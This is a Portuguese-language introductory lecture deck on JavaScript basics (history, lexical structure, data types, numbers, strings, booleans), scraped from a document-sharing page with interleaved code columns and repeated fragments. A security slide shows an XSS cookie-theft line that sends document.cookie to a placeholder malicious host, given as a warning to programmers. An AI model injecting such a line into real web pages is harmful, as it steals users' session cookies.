Aula01 Javascript

JavaScript, Ajax & jQuery
Professor: João Ricardo Bastos

E-mail: joaoricardobastos@gmail.com
MSN: joaoricardobastos@hotmail.com
Ementa do Curso
 Linguagem JavaScript (4 aulas)
 Introdução
 Estrutura Léxica
 Variáveis, Tipos de Dados e Valores
 Operadores, Estruturas de Controle e Funções
 Objetos
 Client-Side JavaScript (2 aulas)

 DOM
 Objetos: Window, Document e Form
 Eventos
 Ajax (1 aula)
 Objeto XMLHttpRequest
 Requisições assíncronas, loadings e callbacks
 Manipulações XML
 jQuery (4 aulas)
 Seletores e Métodos
 Eventos e Animações
 Validações e Ajax
Aula 1 – Vamos estudar:
 Introdução à JavaScript
 Estrutura Léxica
 Variáveis, Tipos de Dados e Valores

Introdução à JavaScript
 Criada pela Netscape em 1995, como

uma extensão do HTML para o browser
Netscape Navigator 2.0
 Manipulação de Formulários
 HTML Dinâmico
Brendan Eich
 Inicialmente chamado de Mocha, depois
LiveScript e finalmente lançado com o
nome JavaScript pela Sun Microsystems
 Mito: JavaScript não é Java
 Microsoft criou o VBScript

Netscape Navigator 2.0
Características Client-Side JavaScript por Browser
 JavaScript + CSS + HTML = DHTML

 DOM = modelo de objeto de documento
 W3C = World Wide Web Consotrium
 Incompatibilidade entre versões do lado cliente e entre navegadores.
 JavaScript é uma linguagem
interpretada
 Diferente de C, C# e Java, por
exemplo, que são linguagens
compiladas
 JavaScript roda no lado Cliente

 Diferente de PHP, por exemplo,
que roda no lado Servidor
 Os browsers são os interpretadores

Segurança em JavaScript:
 É um problema frequente para programadores;

 Usar a validações em JavaScript visando usabilidade e desempenho
(evitando requisições no servidor) e cuidar da segurança dos dados
de entrada no lado Servidor com as linguagens correspondentes
(Java, PHP, .NET);
 JavaScript não permite a leitura ou gravação de arquivos, por razão
de segurança;
 Dica para programadores: Ter cuidado com código JavaScript
malicioso
 Cross-site Scripting (XSS)
 Ex.: window.location = “site.malicioso.com.br/?cookies=” + document.cookie;
Escrevendo códigos JavaScript:
 Código “Espaguete”  Incluindo arquivos .js
<html xmlns="http://www.w3.org/1999/xhtml"> <html xmlns="http://www.w3.org/1999/xhtml">
<head> <head>
<title>Exemplo JavaScript</title> <title>Exemplo JavaScript</title>
<script type=“text/javascript"> <script src=“exemplo.js” type=“text/javascript">
var nome = "Joao"; </script>
var sobrenome = "Ricardo"; </head>
nomeCompleto = nome + " " + sobrenome; <body>
</body>
document.write("Olá, " + nomeCompleto);
</html>
</script>
</head>
No arquivo exemplo.js:
<body> var nome = "Joao";
</body> var sobrenome = "Ricardo";
</html> nomeCompleto = nome + " " + sobrenome;
 O resultado será o mesmo document.write("Olá, " + nomeCompleto);
 Dica: Usar arquivos .js

 Melhor performance
 Melhor manutenção de código
 Uma das boas práticas para se ter um JavaScript não-obstrusivo
 Ferramentas utilizadas no desenvolvimento de

aplicações JavaScript:
 Browser (interpretador)
 Editor de código-fonte (Dreamweaver, Eclipse, etc)
 Firebug – Plugin do Firefox para depuração
 Boas práticas: Teste seu código em mais de um

navegador (geralmente Firefox e Internet Explorer)
Estrutura léxica
Estrutura Léxica
 Comentários em JavaScript
 Comentário em linha: //
 Comentário em bloco: /* */
 Espaços, tabulações, acentos ou novas linhas não são permitidos

nas definições de variáveis e funções
 var no me; // erro
 function calcular área() { /* calculo */ } // erro
 JavaScript distingue maiúsculas de minúsculas (Case Sensitive)

 Ex.: “var nome” é diferente de “var NoMe”
 Obs.: HTML: onClick; JavaScript: onclick;
 Ponto-e-vírgula no final da linha é opcional

 var nome = “joao”
 var nome = “joao; var sobrenome = “ricardo”
 Omitir o “;” não é uma boa prática de programação
Estrutura Léxica
 Literais são valores absolutos que representam os dados em si
 12 // o número inteiro 12;

 1.2 // o numero decimal um ponto dois;
 “ola mundo” // uma string de texto;
 true, false // valor boleano;
 Null // ausência de valor
 Identificadores são palavras usadas para nomear variáveis,

funções e rótulos de loops
 O primeiro caractere deve ser uma letra, underline (_) ou um cifrão ($)
 Os caracteres subsequentes podem ser letras, dígitos, underline ou cifrão
 Nem todas as palavras podem ser usadas como identificadores por conta
das palavras reservadas da linguagem
Estrutura Léxica
 Palavras reservadas
 São palavras com utilidade previamente definida na

gramática da linguagem
 Não podem ser usadas como identificadores (nomes de
variáveis, nomes de funções e rótulos de loops)
Alguns exemplos de palavras reservadas

Antes de começar
 document.write()
 Escrever na tela
 window.alert(“Exemplo Javascript”)
 Mensagens em janela de diálogo
 window.confirm(“Deseja realmente excluir?”)

 Janela de confirmação
 Retorna um booleano
 window.prompt(“Informe o raio do círculo:”)

 Janela de captura de valor
 Retorna uma string
Tipos de dados e valores
 Números;
 Strings;
 Booleanos;
 Arrays;
 Objetos;
 Null;
 Undefined;
 Expressões regulares;
 Números;
 Strings;
 Booleanos;
 Arrays;
 Objetos;
 Null;
 Undefined;
 Expressões regulares;
Números
 number
 JavaScript não distingue valores inteiros e valores
flutuantes. Todos os números são representados
como valores flutuantes
 Literais Hexadecimais e octais

 Ex.:
0x15 // Hexadecimais
037 // Octais
 Literais de ponto flutuante
 Ex.: 5.6
 Ex.: 1.4564e15
Números
Trabalhando com Números:
 Operadores aritméticos
 Ex.: “+”, “-”, “/” e “*”
 Objeto Math
 Ex.: Math.sin(60) // calcula o seno do ângulo citado.
 Ex.: Math.sqrt(36) // calcula a raiz quadrada.
 Ex.: Math.round(5.5) // arredonda o número para 6
 Ex.: Math.ceil(4.2) // arredonda para cima: 5
 Ex.: Math.floor(4.8) // arredonda para baixo: 4
 Ex.: Math.PI // a constante matemática de valor aproximado 3.14159265358979
 Exercício:
 1 - Recuperar um número usando window.prompt() e exibir a raiz quadrada e o valor arredondado
da raiz quadrada do número informado.
 2 - Recuperar o raio de um círculo usando window.prompt() e exibir o valor de PI, o valor do raio,
a área do círculo e o valor arredondado para cima e para baixo da área do círculo.
(para multiplicar os valores, utilize o operador ‘*’. Ex.: variavel = 3 * 5 // variavel igual a 15)
Números
Valores numéricos especiais:
 Infinity // representa o infinito
 NaN // não numérico
 Number.MAX_VALUE // maior número
 Number.MIN_VALUE // menor número
 Number.NaN // não numérico
 Number.POSITIVE_INFINITY // Infinito positivo
 Number.NEGATIVE_INFINITY // Infinito negativo
 Funções:
 typeof
 parseInt(s) e parseFloat(s) // parseInt(s, base)
 isNaN()
 isFinite()
Strings
 string
 É o tipo de dado usado para representar texto
 É uma seqüência de zero ou mais caracteres

Unicode incluídos entre aspas simples (‘ ou “);
 Ex.: ‘nome =“ meuformulario ” ’;
 As strings devem ser escritas em uma única linha,

elas não podem ser divididas por duas linhas;
 Ex.: “Meu nome é :
João”; // erro
 Linguagem interpretada e “;” opcional
Strings
 O caractere barra invertida (\) é utilizado para o
escape em JavaScript
 Ex.: \r, \n, \t, \’, \\, etc.
 O escape serve para fazer comandos, ou
conbinações dentro do texto, com por exemplo
querer escrever ‘Copo D’agua’, em javaScript
utilizando aspas simples na função write ou alert
 Deve ser escrito assim: ‘Copo D\’agua’
 Operador de concatenação
 + (operador sobrecarregado – serve para concatenar
strings, somar números, etc)
Strings
Trabalhando com Strings:
 Propriedades e Métodos
 string.length // quantidade de caracteres na string
 string.indexOf(‘j’) // informa a posição da primeira aparição do caractere informado
 string.lastIndexOf(“.”) // informa a posição da ultima aparição do caractere
informado
 string.charAt(0) // informa o caractere que se encontra na posição informada
 string.substr(inicio, tamanho) // retorna uma substring com as posições informadas
 string.substring(de, para) // retorna uma substring com a sequência “de” até “para”
 string.toLowerCase() // converte os caracteres maiúsculos para minúsculos
 string.toUpperCase() // converte os caracteres minúsculos para maiúsculos
 Exercício:
 1 - Recuperar o último caractere de uma string e exibir na tela
 2 - Assuma: var arquivo = aula1.txt;
 Exiba na tela apenas a extensão do arquivo
 Dica: você vai usar mais de um método para resolver esse exercício
Booleanos
 boolean
 Diferente de number e string, apresenta apenas dois valores: true
e false
 É usado como 1 e 0 em alguns casos
 Geralmente é o resultado de comparações que fazemos em

JavaScript (if, while, etc)
 Também é o resultado de:
 window.confirm()
 Retorno de funções de validação (forms, isNaN(), etc)
 Método toString()
 Transforma os valores booleanos em strings “true” ou “false”,
dependendo do valor booleano

Aula01 Javascript

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Aula01 Javascript

Uploaded by

Copyright:

Available Formats

JavaScript, Ajax & jQuery

Professor: João Ricardo Bastos

 Client-Side JavaScript (2 aulas)

 Variáveis, Tipos de Dados e Valores

 Criada pela Netscape em 1995, como

 Microsoft criou o VBScript

Características Client-Side JavaScript por Browser

 JavaScript + CSS + HTML = DHTML

 JavaScript roda no lado Cliente

 Os browsers são os interpretadores

 É um problema frequente para programadores;

 O resultado será o mesmo document.write("Olá, " + nomeCompleto);

 Dica: Usar arquivos .js

 Ferramentas utilizadas no desenvolvimento de

 Boas práticas: Teste seu código em mais de um

 Espaços, tabulações, acentos ou novas linhas não são permitidos

 JavaScript distingue maiúsculas de minúsculas (Case Sensitive)

 Ponto-e-vírgula no final da linha é opcional

 Literais são valores absolutos que representam os dados em si

 12 // o número inteiro 12;

 Identificadores são palavras usadas para nomear variáveis,

 São palavras com utilidade previamente definida na

Alguns exemplos de palavras reservadas

 window.confirm(“Deseja realmente excluir?”)

 window.prompt(“Informe o raio do círculo:”)

 Literais Hexadecimais e octais

 É uma seqüência de zero ou mais caracteres

 As strings devem ser escritas em uma única linha,

 É usado como 1 e 0 em alguns casos

 Geralmente é o resultado de comparações que fazemos em

You might also like